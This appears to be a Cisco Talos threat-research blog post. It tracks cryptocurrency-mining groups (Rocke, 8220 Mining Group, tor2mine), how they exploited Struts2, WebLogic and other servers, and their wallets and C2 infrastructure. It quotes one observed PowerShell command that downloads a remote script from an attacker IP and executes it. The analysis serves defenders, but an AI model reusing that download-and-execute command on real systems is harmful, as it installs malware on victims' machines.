Illicit cryptocurrency mining remained one of the most common threats Cisco Talos observed in 2018. These attacks steal CPU cycles from compromised devices to mine cryptocurrencies and bring in income for the threat actor. Campaigns delivering mining malware can also compromise the victim in other ways, such as in delivering remote access trojans (RATs) and other malware.
Through our investigation of illicit cryptocurrency mining campaigns in the past year, we began to notice that many shared remarkably similar TTPs, which we at first mistakenly interpreted as being attributed to a single actor. After completing analysis of these attack’s wallets and command and control (C2) servers we discovered that a spate of illicit mining activity over the past year could be attributed to several actors. This illustrates the prevalent use of tool sharing or copying in illicit mining.
We also observed that, by examining these groups’ infrastructure and wallets, we were able to connect them to other published research that had not always been related to the same actor, which demonstrated the breadth of exploitation activity that illicit cryptocurrency mining actors engaged in.
We first started tracking these groups when we began monitoring a prolific actor named Rocke and noticed that several other groups were using similar TTPs.
We began following the activities of another prolific actor through a project forked on GitHub by Rocke: the 8220 Mining Group. We also noticed a similar toolset being used by an actor we named “tor2mine,” based on the fact that they additionally used tor2web services for C2 communications.
We also discovered some actors that share similarities to the aforementioned groups, but we could not connect them via network infrastructure or cryptocurrency wallets. Through investigating all these groups, we determined that combined, they had made hundreds of thousands of dollars in profits.
Rocke/Iron cybercrime group
In the campaigns we discussed, Rocke targeted vulnerable Apache Struts2 servers in the spring and summer of 2018. Through tracking the actor’s wallets and infrastructure, we were able to link them to some additional exploit activity that was reported on by other security firms but in most instances was not attributed to one actor. Through examining these campaigns that were not previously linked, we observed that Rocke has also targeted Jenkins and JBoss servers, continuing to rely on malicious Git repositories, as well as malicious Amazon Machine Images. They have also been expanding their payloads to include malware with worm-like characteristics and destructive ransomware capabilities. Several campaigns used the XHide Process Faker tool.
We have since discovered additional information that suggests that Rocke has been continuing this exploit activity. Since early September, we have observed Rocke exploiting our Struts2 honeypots to download and execute files from their C2 ssvs[.]space. Beginning in late October, we observed this type of activity in our honeypots involving another Rocke C2 as well: sydwzl[.]cn.
The dropped malware includes ELF (Executable and Linkable Format) backdoors, bash scripts to download and execute other malware from Rocke C2s, as well as illicit ELF Monero miners and associated config files.
While keeping an eye on honeypot activity related to Rocke, we have continued to monitor their GitHub account for new activity. In early October, Rocke forked a repository called whatMiner, developed by a Chinese-speaking actor. WhatMiner appears to have been developed by another group called the 8220 Mining Group, which we will discuss below. The readme for the project describes it as “collecting and integrating all different kinds of illicit mining malware.”
Git repository for whatMiner
Looking at some of the bash scripts in the repository, it appears that they scan for and exploit vulnerable Redis and Oracle WebLogic servers to download and install Monero miners. The scripts also rely on a variety of Pastebin pages with Base64-encoded scripts in them that download and execute miners and backdoors on to the victim’s machines. These malicious scripts and malware masquerade as JPEG files and are hosted on the Chinese-language file-sharing site thyrsi[.]com. The only difference in Rocke’s forked version is that they replaced the Monero wallet in the config file with a new one.
While looking through this repository, we found a folder called “sustes.” There were three samples in this folder: mr.sh, a bash script that downloads and installs an illicit Monero miner; xm64, an illicit Monero miner; and wt.conf, a config file for the miner. These scripts and malware very closely match the ones we found in our honeypots with the same file names, although the bash script and config file were changed to include Rocke’s infrastructure and their Monero wallet.
Many of the samples obtained in our honeypots reached out to the IP 118[.]24[.]150[.]172 over TCP. Rocke’s C2, sydwzl[.]cn, also resolves to this IP, as did the domain sbss[.]f3322[.]net, which began experiencing a spike in DNS requests in late October. Two samples with high detection rates submitted to VirusTotal in 2018 made DNS requests for both domains. Both samples also made requests for a file called “TermsHost.exe” from an IP 39[.]108[.]177[.]252, as well as a file called “xmr.txt” from sydwzl[.]cn. In a previous Rocke campaign, we observed a PE32 Monero miner sample called “TermsHost.exe” hosted on their C2 ssvs[.]space and a Monero mining config file called “xmr.txt” on the C2 sydwzl[.]cn.
When we submitted both samples in our ThreatGrid sandbox, they did not make DNS requests for sydwzl[.]cn, but did make GET requests for hxxp://users[.]qzone[.]qq[.]com:80/fcg-bin/cgi_get_portrait.fcg?uins=979040408. The resulting download is an HTML text file of a 301 error message. When we looked at the profile for the user [email protected], we observed that they had numerous posts related to Chinese-language hacking and exploit forums, as well as advertisements for distributed denial-of-service (DDoS) services.
Note that Rocke activity tapered off towards the end of the year. Security researchers at Chinese company Alibaba have taken down Rocke infrastructure that was hosted on Alibaba Cloud. In addition, there has not been activity on Rocke’s github since November, nor have we seen related samples in our honeypots since that time.
8220 Mining Group
As we previously described, Rocke originally forked a repository called “whatMiner.” We believe this tool is linked to another Chinese-speaking, Monero-mining threat actor — 8220 Mining Group — due to the repository’s config files’ default wallet and infrastructure. Their C2s often communicate over port 8220, earning them the 8220 Mining Group moniker. This group uses some similar TTPs to Rocke.
We first observed the 8220 Mining Group in our Struts2 honeypots in March 2018. Post-exploitation, the actor would issue a cURL request for several different types of malware on their infrastructure over port 8220. The dropped malware included ELF miners, as well as their associated config files with several of 8220 Mining Group’s wallets entered in the appropriate fields. This is an example of the type of commands we observed:
We were able to link the infrastructure and wallets observed in the attacks against our honeypots, as well as in the Git repository, with several other campaigns that the 8220 mining group is likely responsible for.
These campaigns illustrate that beyond exploiting Struts2, 8220 Mining Group has also exploited Drupal content management system, Hadoop YARN, Redis, Weblogic and CouchDB. Besides leveraging malicious bash scripts, Git repositories and image sharing services, as in whatMiner, 8220 Mining Group also carried out a long-lasting campaign using malicious Docker images. 8220 Mining Group was able to amass nearly $200,000 worth of Monero through their campaigns.
There were some similarities to the TTPs used by Rocke and 8220 Mining Group in these campaigns. The actors downloaded a malicious file “logo*.jpg” (very similar to Rocke’s use of malicious scripts under the file name of “logo*.jpg payloads), which gets executed through the bash shell to deliver XMRig. The actor also employed malicious scripts hosted on .tk TLDs, Pastebin sites, and Git repositories, which we have also observed Rocke employing.
Over the past few years, Talos has been monitoring accesses for tor2web services, which serve as a bridge between the internet and the Tor network, a system that allows users to enable anonymous communication. These services are useful for malware authors because they eliminate the need for malware to communicate with the Tor network directly, which is suspicious and may be blocked, and allow the C2 server’s IP address to be hidden.
Recently, while searching through telemetry data, we observed malicious activity that leveraged a tor2web gateway to proxy communications to a hidden service for a C2: qm7gmtaagejolddt[.]onion[.]to.
It is unclear how the initial exploitation occurs, but at some point in the exploitation process, a PowerShell script is downloaded and executed to install follow-on malware onto the system:
C:\Windows\System32\cmd.exe /c powershell.exe -w 1 -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command iex ((New-Object System.Net.WebClient).DownloadString(‘hxxp://107[.]181[.]187[.]132/v1/check1.ps1’))
We began to research the malware and infrastructure used in this campaign. We observed previous research on a similar campaign. This actor was exploiting CVE-2018-11776, an Apache Struts 2 namespace vulnerability. The actor also relied on an IP hosted on Total Server Solutions LLC (107[.]181[.]160[.]197). They also employed a script, “/win/checking-test.hta,” that was almost identical to one we saw hosted on the tor2mine actors C2, “check.hta:”
/win/checking-test.hta from previous campaign
This actor dropped XMRigCC as a payload, mining to eu[.]minerpool[.]pw, as well. Both campaigns additionally relied on the XHide Process-faker tool.
Similarly, in February 2018, Trend Micro published a report on an actor exploiting an Oracle WebLogic WLS-WSAT vulnerability to drop 64-bit and 32-bit variants of XMRig. The actors used many similar supporting scripts that we observed during the tor2web campaigns, and also used a C2 hosted on Total Server Solutions LLC (hxxp://107[.]181[.]174[.]248). They also mined to eu[.]minerpool[.]pw.
This malware was developed in Python and then changed to ELF executables using the PyInstaller tool for distribution. This is the same technique we observed in a Rocke campaign.
Through tracking the wallets of these groups, we estimate that they hold and have made payments totaling around 1,200 Monero. Based on public reporting, these groups combined had earned hundreds of thousands of dollars worth of cryptocurrency. However, it is difficult to ascertain the exact amount they made since the value of Monero is very volatile and it is difficult to tell the value of the currency when it was sold. We were also unable to track holdings and payments for certain kinds of wallets, such as MinerGate.
The value of Monero has dramatically declined in the past few months. Talos has observed less activity from these actors in our honeypots since November, although cryptocurrency-focused attacks from other actors continue.
There remains the possibility that with the value of cryptocurrencies so low, threat actors will begin delivering different kinds of payloads. For example, Rocke has been observed developing new malware with destructive capabilities that pose as ransomware. However, Rocke’s GitHub page shows that, as of early November, they were continuing to fork mining-focused repositories, including a static build of XMRig.
Talos will continue to monitor these groups, as well as cryptocurrency mining-focused attacks in general, to assess what changes, if any, arise from the decline in value of cryptocurrencies.
For coverage related to blocking illicit cryptocurrency mining, please see the Cisco Talos white paper: Blocking Cryptocurrency Mining Using Cisco Security Products
Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
Open Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Samples making DNS requests for sydwzl[.]cn and sbss[.]f3322[.]net:
Samples associated with whatMiner: